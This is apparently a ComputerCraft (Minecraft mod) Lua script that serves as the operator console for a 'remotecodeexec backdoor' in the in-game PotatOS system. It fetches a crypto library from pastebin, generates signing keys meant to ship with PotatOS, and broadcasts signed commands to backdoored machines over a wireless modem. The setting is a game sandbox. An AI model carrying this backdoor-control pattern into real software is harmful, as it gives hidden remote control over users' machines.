PotatOS RDS Server

-- For using the remotecodeexec backdoor of PotatOS

local function a(b,c)local d=fs.open(b,"w")d.write(c)d.close()end;local function e(b)local d=fs.open(b,"r")local c=d.readAll()d.close()return c end;local function f(g)local h=http.get(g)local c=h.readAll()h.close()return c end;local function i(g,d)a(d,f(g))end;i("https://pastebin.com/raw/Sc0DU3rA","ecc.lua")

local m = peripheral.find("modem", function(_, modem) return modem.isWireless() end)

local ecc = require "./ecc"
local t = ecc "ecc"
m.open(636)
m.open(858)

local pub,priv
if not fs.exists("/.potato_rds_priv") then
    pub,priv = t.keypair()
    local f
    f = fs.open("/.potato_rds_priv", "w")
    f.write(textutils.serialize(priv))
    f.close()
    f = fs.open("/.potato_rds_pub", "w") --this is the file you want to bundle with potatos
    f.write(textutils.serialize(pub))
    f.close()
else
    local f
    f = fs.open("/.potato_rds_priv", "r")
    priv = textutils.unserialize(f.readAll())
    f.close()
    pub = t.publicKey(priv)
end

parallel.waitForAll(function()
    while true do
        local _, _, sc, rc, msg = os.pullEvent "modem_message"
        if sc == 858 then
            print(textutils.serialise(msg))
        end
    end
end, function()
    local history = {}
    while true do
        write "|> "
        local input = read(nil, history)
        table.insert(history, input)
        m.transmit(636, 858, {
            data = input,
            signature = t.sign(priv, input)
        })
    end
end)